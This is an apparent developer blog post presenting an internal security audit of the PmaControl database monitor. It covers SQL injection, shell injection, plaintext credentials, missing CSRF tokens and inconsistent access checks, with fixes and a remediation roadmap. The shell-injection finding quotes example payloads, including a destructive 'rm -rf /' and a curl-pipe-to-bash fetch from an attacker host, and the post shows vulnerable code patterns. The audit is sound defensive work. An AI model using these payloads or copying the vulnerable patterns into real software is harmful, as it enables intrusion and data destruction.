PmaControl Security Audit: Hardening Roadmap

Aurélien LEQUOY · March 10, 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

Why Audit Your Own Code

PmaControl monitors production MariaDB / MySQL infrastructures. It has access to metrics, configurations, SSH keys, and connection credentials. It is a prime target for an attacker.

We conducted an internal security audit — not to publish a marketing report, but to identify real flaws and prioritize their remediation. This article details the results without complacency.

Methodology

The audit covered:

- **Static code review**: manual analysis of PHP controllers, models and views
- **Dynamic analysis**: injection testing on forms and API endpoints
- **Configuration**: configuration files, filesystem permissions, secrets
- **Architecture**: attack surface, component isolation, data flows

Finding 1: SQL Injection via Dynamic Query Building

Severity: CRITICAL

Several controllers build SQL queries by directly concatenating user parameters:

```
// Pattern found in multiple controllers
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

This pattern is vulnerable to classic SQL injection. An attacker can exfiltrate data, modify records, or in the worst case, execute system commands via `INTO OUTFILE` or `LOAD_FILE()`.

Identified Instances

Controller	Endpoint	Vulnerable Parameter
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

Remediation

Switch to **parameterized queries** (prepared statements):

```
// Before (vulnerable)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// After (secure)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

The Glial framework natively supports prepared statements. The issue is not technical but historical: the code was written before systematic adoption of this practice.

Finding 2: Shell Injection in the Backup Controller

Severity: CRITICAL

The backup controller passes user input directly to `shell_exec()`:

```
// Pattern found in BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

If `$host` contains `; rm -rf /` or `$(curl attacker.com/shell.sh | bash)`, the command executes with the privileges of the PHP process.

This is the most severe vulnerability in the audit. An attacker with access to the backup form can obtain a **full shell on the PmaControl server**.

Remediation

1. **Remove all `shell_exec()` with user parameters** — no exceptions
2. Use `escapeshellarg()` as a transitional measure if removal is not immediate
3. Long-term, replace shell calls with **native PHP libraries** (PDO for mysqldump, phpseclib for SSH)

```
// Transitional measure (not sufficient alone)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Definitive solution: no shell at all
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... backup via PDO and SELECT INTO OUTFILE or equivalent
```

Finding 3: Plaintext Passwords in Configuration Files

Severity: HIGH

Connection credentials for monitored databases are stored in plaintext in PHP configuration files:

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!',  // Plaintext
    ],
];
```

These files are accessible to anyone with filesystem read access. They are also potentially committed to Git.

Remediation

1. **Encrypt secrets at rest** with a key derived from an environment variable
2. Use a **secrets manager** (HashiCorp Vault, AWS Secrets Manager) for cloud deployments
3. At minimum, store passwords in **environment variables** rather than files

```
// After remediation
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

Finding 4: Missing CSRF Protection

Severity: HIGH

PmaControl forms do not contain CSRF (Cross-Site Request Forgery) tokens. An attacker can create a malicious web page that submits a PmaControl form on behalf of the logged-in user.

Attack scenario:

1. The PmaControl administrator is logged in, in one tab
2. They visit a malicious web page in another tab
3. The page contains a hidden form that submits `POST /servers/delete/42`
4. The browser sends the PmaControl session cookie — the server is deleted

Remediation

Implement **CSRF tokens** on all POST forms:

```
// Token generation
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
```

```
// In the form
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Server-side validation
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

Finding 5: Scattered Access Control

Severity: MEDIUM

ACL (Access Control List) checks are not centralized. Each controller implements its own permission checks inconsistently:

```
// Controller A: checks permissions
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// Controller B: checks nothing
public function deleteServer($id) {
    $this->ServerModel->delete($id);  // No ACL check
}
```

Remediation

Centralize ACLs in a **middleware** executed before each controller action:

```
// Centralized middleware
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

Remediation Roadmap

Priority 1 — Critical (Immediate)

Action	Estimated Effort	Status
Parameterized queries in all controllers	3-5 days	In progress
Remove shell_exec with user input	1-2 days	In progress
CSRF tokens on all forms	2-3 days	Planned
Secret encryption in config	1-2 days	Planned

Priority 2 — High (Within 30 Days)

Action	Estimated Effort	Status
Isolate SSH/backup workers in separate process	5-8 days	Planned
Filesystem permissions audit	1 day	Planned
Rate limiting on API and authentication	2-3 days	Planned

Priority 3 — Medium (Within 90 Days)

Action	Estimated Effort	Status
Centralize ACLs in middleware	3-5 days	Planned
Normalize controller patterns	5-8 days	Planned
Security headers (CSP, HSTS, X-Frame-Options)	1 day	Planned
Centralized security logging	2-3 days	Planned

What This Audit Does Not Cover

- Vulnerabilities in third-party dependencies (jQuery, Bootstrap) — a separate audit is planned
- Network vulnerabilities (firewall, TLS) — this is the infrastructure's responsibility
- Social engineering and phishing — out of technical scope

Conclusion

A monitoring tool that has access to production credentials is a critical target. PmaControl, like many open source projects that grew organically, carries historical security debts.

Transparency about these flaws is a deliberate choice. We prefer to publicly document vulnerabilities and the remediation roadmap rather than pretend the code is secure.

P1 fixes are in progress. P2 and P3 follow a realistic schedule. Each PmaControl release reduces the attack surface.